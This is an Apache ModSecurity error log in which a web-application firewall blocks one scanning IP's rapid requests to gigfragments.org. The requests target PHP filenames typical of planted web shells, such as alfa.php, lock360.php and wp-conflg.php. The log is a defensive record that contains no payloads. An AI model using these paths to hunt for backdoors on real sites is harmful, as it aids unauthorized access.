[Fri Feb 27 23:42:17.167407 2026] [:error] [pid 52073:tid 52080] [client 52.138.25.109:39748] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaG7WYa650YPyxXVeRbjcAAAAYQ"]
[Fri Feb 27 23:42:17.577785 2026] [:error] [pid 62998:tid 63013] [client 52.138.25.109:39830] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaG7WVQeueXZDUmoLomTVAAAAQs"]
[Fri Feb 27 23:42:18.008955 2026] [:error] [pid 56075:tid 56087] [client 52.138.25.109:39792] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aaG7WsKBhrfI6KNv9Rh5zQAAAAo"]
[Fri Feb 27 23:42:18.476297 2026] [:error] [pid 49306:tid 49326] [client 52.138.25.109:39720] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aaG7WvnSUDZue59Px9t9hQAAAVI"]
[Fri Feb 27 23:42:18.898671 2026] [:error] [pid 56075:tid 56102] [client 52.138.25.109:39785] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aaG7WsKBhrfI6KNv9Rh50AAAABg"]
[Fri Feb 27 23:42:19.316508 2026] [:error] [pid 56075:tid 56100] [client 52.138.25.109:39880] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aaG7W8KBhrfI6KNv9Rh50gAAABY"]
[Fri Feb 27 23:42:19.735781 2026] [:error] [pid 56075:tid 56082] [client 52.138.25.109:39783] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aaG7W8KBhrfI6KNv9Rh51AAAAAU"]
[Fri Feb 27 23:42:42.204147 2026] [:error] [pid 56075:tid 56099] [client 52.138.25.109:39799] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "aaG7csKBhrfI6KNv9Rh6GQAAABU"]
[Fri Feb 27 23:42:42.619452 2026] [:error] [pid 62998:tid 63006] [client 52.138.25.109:39845] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "aaG7clQeueXZDUmoLomTbwAAAQQ"]
[Fri Feb 27 23:42:43.064442 2026] [:error] [pid 56075:tid 56091] [client 52.138.25.109:39682] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "aaG7c8KBhrfI6KNv9Rh6HAAAAA0"]
[Fri Feb 27 23:42:43.488356 2026] [:error] [pid 56075:tid 56082] [client 52.138.25.109:39805] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "aaG7c8KBhrfI6KNv9Rh6HgAAAAU"]
[Fri Feb 27 23:42:43.907155 2026] [:error] [pid 54102:tid 54154] [client 52.138.25.109:39762] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/index.php"] [unique_id "aaG7c3i74D4fiYUm_GeZNAAAAIo"]
[Fri Feb 27 23:42:44.321096 2026] [:error] [pid 62998:tid 63001] [client 52.138.25.109:39851] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/index.php"] [unique_id "aaG7dFQeueXZDUmoLomTcQAAAQA"]
[Fri Feb 27 23:42:44.746664 2026] [:error] [pid 56075:tid 56098] [client 52.138.25.109:39854] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/index.php"] [unique_id "aaG7dMKBhrfI6KNv9Rh6IwAAABQ"]
[Fri Feb 27 23:42:45.187295 2026] [:error] [pid 62998:tid 63010] [client 52.138.25.109:39747] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/index.php"] [unique_id "aaG7dVQeueXZDUmoLomTcwAAAQg"]
[Fri Feb 27 23:42:45.602634 2026] [:error] [pid 56075:tid 56077] [client 52.138.25.109:39744] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aaG7dcKBhrfI6KNv9Rh6KAAAAAA"]
[Fri Feb 27 23:42:46.031143 2026] [:error] [pid 62998:tid 63014] [client 52.138.25.109:39775] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aaG7dlQeueXZDUmoLomTdAAAAQw"]
[Fri Feb 27 23:42:46.445320 2026] [:error] [pid 56075:tid 56095] [client 52.138.25.109:39812] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aaG7dsKBhrfI6KNv9Rh6KwAAABE"]
[Fri Feb 27 23:42:46.922283 2026] [:error] [pid 52073:tid 52078] [client 52.138.25.109:39850] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aaG7doa650YPyxXVeRbjrwAAAYI"]
[Fri Feb 27 23:42:47.366336 2026] [:error] [pid 56075:tid 56100] [client 52.138.25.109:39795] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaG7d8KBhrfI6KNv9Rh6NAAAABY"]
[Fri Feb 27 23:42:47.785959 2026] [:error] [pid 49306:tid 49315] [client 52.138.25.109:39864] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaG7d_nSUDZue59Px9t9rAAAAUc"]
[Fri Feb 27 23:42:48.203595 2026] [:error] [pid 52073:tid 52080] [client 52.138.25.109:39852] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaG7eIa650YPyxXVeRbjsQAAAYQ"]
[Fri Feb 27 23:42:48.635928 2026] [:error] [pid 49306:tid 49310] [client 52.138.25.109:39772] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaG7ePnSUDZue59Px9t9rgAAAUI"]
[Fri Feb 27 23:42:49.079015 2026] [:error] [pid 49306:tid 49311] [client 52.138.25.109:39883] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aaG7efnSUDZue59Px9t9sAAAAUM"]
[Fri Feb 27 23:42:49.495524 2026] [:error] [pid 49306:tid 49314] [client 52.138.25.109:39794] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aaG7efnSUDZue59Px9t9sgAAAUY"]
[Fri Feb 27 23:42:49.916425 2026] [:error] [pid 49306:tid 49327] [client 52.138.25.109:39876] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aaG7efnSUDZue59Px9t9tQAAAVM"]
[Fri Feb 27 23:42:50.329880 2026] [:error] [pid 52073:tid 52091] [client 52.138.25.109:39704] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aaG7eoa650YPyxXVeRbjtQAAAY8"]
[Fri Feb 27 23:42:50.747725 2026] [:error] [pid 54231:tid 54255] [client 52.138.25.109:39728] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/footer.php"] [unique_id "aaG7euTvb5AeyJCdY7BPKgAAAFU"]
[Fri Feb 27 23:42:51.242070 2026] [:error] [pid 49306:tid 49322] [client 52.138.25.109:39787] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/footer.php"] [unique_id "aaG7e_nSUDZue59Px9t9uwAAAU4"]
[Fri Feb 27 23:42:51.666935 2026] [:error] [pid 52073:tid 52076] [client 52.138.25.109:39873] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/footer.php"] [unique_id "aaG7e4a650YPyxXVeRbjtwAAAYA"]
[Fri Feb 27 23:42:52.081988 2026] [:error] [pid 54103:tid 54191] [client 52.138.25.109:39721] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/footer.php"] [unique_id "aaG7fOvG4MPCmE0B2sDVswAAANQ"]
[Fri Feb 27 23:42:52.499575 2026] [:error] [pid 56075:tid 56078] [client 52.138.25.109:39741] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file8.php"] [unique_id "aaG7fMKBhrfI6KNv9Rh6RQAAAAE"]
[Fri Feb 27 23:42:52.915787 2026] [:error] [pid 56075:tid 56090] [client 52.138.25.109:39686] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file8.php"] [unique_id "aaG7fMKBhrfI6KNv9Rh6SAAAAAw"]
[Fri Feb 27 23:42:53.333004 2026] [:error] [pid 54103:tid 54176] [client 52.138.25.109:39692] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file8.php"] [unique_id "aaG7fevG4MPCmE0B2sDVtAAAAMU"]
[Fri Feb 27 23:42:53.748532 2026] [:error] [pid 56075:tid 56093] [client 52.138.25.109:39688] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file8.php"] [unique_id "aaG7fcKBhrfI6KNv9Rh6SwAAAA8"]
[Fri Feb 27 23:42:54.159692 2026] [:error] [pid 54102:tid 54148] [client 52.138.25.109:39773] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaG7fni74D4fiYUm_GeZOAAAAIQ"]
[Fri Feb 27 23:42:54.570700 2026] [:error] [pid 54231:tid 54258] [client 52.138.25.109:39708] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaG7fuTvb5AeyJCdY7BPLQAAAFg"]
[Fri Feb 27 23:42:55.005918 2026] [:error] [pid 54103:tid 54183] [client 52.138.25.109:39884] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaG7f-vG4MPCmE0B2sDVtgAAAMw"]
[Fri Feb 27 23:42:55.459339 2026] [:error] [pid 54102:tid 54149] [client 52.138.25.109:39868] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaG7f3i74D4fiYUm_GeZOwAAAIU"]
[Fri Feb 27 23:42:55.870904 2026] [:error] [pid 54231:tid 54253] [client 52.138.25.109:39869] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aaG7f-Tvb5AeyJCdY7BPNwAAAFM"]
[Fri Feb 27 23:42:56.284896 2026] [:error] [pid 49306:tid 49330] [client 52.138.25.109:39768] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aaG7gPnSUDZue59Px9t9zQAAAVY"]
[Fri Feb 27 23:42:56.698526 2026] [:error] [pid 49306:tid 49308] [client 52.138.25.109:39853] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aaG7gPnSUDZue59Px9t9zwAAAUA"]
[Fri Feb 27 23:42:57.141864 2026] [:error] [pid 49306:tid 49320] [client 52.138.25.109:39793] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aaG7gfnSUDZue59Px9t90QAAAUw"]
[Fri Feb 27 23:42:57.555170 2026] [:error] [pid 49306:tid 49321] [client 52.138.25.109:39695] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaG7gfnSUDZue59Px9t91QAAAU0"]
[Fri Feb 27 23:42:57.999154 2026] [:error] [pid 49306:tid 49331] [client 52.138.25.109:39739] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaG7gfnSUDZue59Px9t91wAAAVc"]
[Fri Feb 27 23:42:59.619650 2026] [:error] [pid 54101:tid 54121] [client 52.138.25.109:39712] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaG7g1Y5qgRktcYTGFtjwwAAAc0"]
[Fri Feb 27 23:43:00.042658 2026] [:error] [pid 54101:tid 54115] [client 52.138.25.109:39709] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaG7hFY5qgRktcYTGFtjxAAAAcc"]
[Fri Feb 27 23:43:00.475374 2026] [:error] [pid 56075:tid 56083] [client 52.138.25.109:39719] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aaG7hMKBhrfI6KNv9Rh6WAAAAAY"]
[Fri Feb 27 23:43:00.890177 2026] [:error] [pid 52073:tid 52090] [client 52.138.25.109:39862] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aaG7hIa650YPyxXVeRbjxQAAAY4"]
[Fri Feb 27 23:43:01.306134 2026] [:error] [pid 52073:tid 52085] [client 52.138.25.109:39713] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aaG7hYa650YPyxXVeRbjyAAAAYk"]
[Fri Feb 27 23:43:01.718421 2026] [:error] [pid 54231:tid 54246] [client 52.138.25.109:39743] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aaG7heTvb5AeyJCdY7BPQAAAAEw"]
[Fri Feb 27 23:43:02.126837 2026] [:error] [pid 54231:tid 54239] [client 52.138.25.109:39710] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aaG7huTvb5AeyJCdY7BPQwAAAEU"]
[Fri Feb 27 23:43:02.547351 2026] [:error] [pid 49306:tid 49319] [client 52.138.25.109:39834] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aaG7hvnSUDZue59Px9t92QAAAUs"]
[Fri Feb 27 23:43:02.963945 2026] [:error] [pid 52073:tid 52100] [client 52.138.25.109:39771] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aaG7hoa650YPyxXVeRbjzAAAAZg"]
[Fri Feb 27 23:43:03.374043 2026] [:error] [pid 52073:tid 52087] [client 52.138.25.109:39901] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aaG7h4a650YPyxXVeRbjzwAAAYs"]
[Fri Feb 27 23:43:03.797660 2026] [:error] [pid 56075:tid 56088] [client 52.138.25.109:39774] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aaG7h8KBhrfI6KNv9Rh6ZQAAAAs"]
[Fri Feb 27 23:43:04.226404 2026] [:error] [pid 52073:tid 52096] [client 52.138.25.109:39186] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aaG7iIa650YPyxXVeRbj0gAAAZQ"]
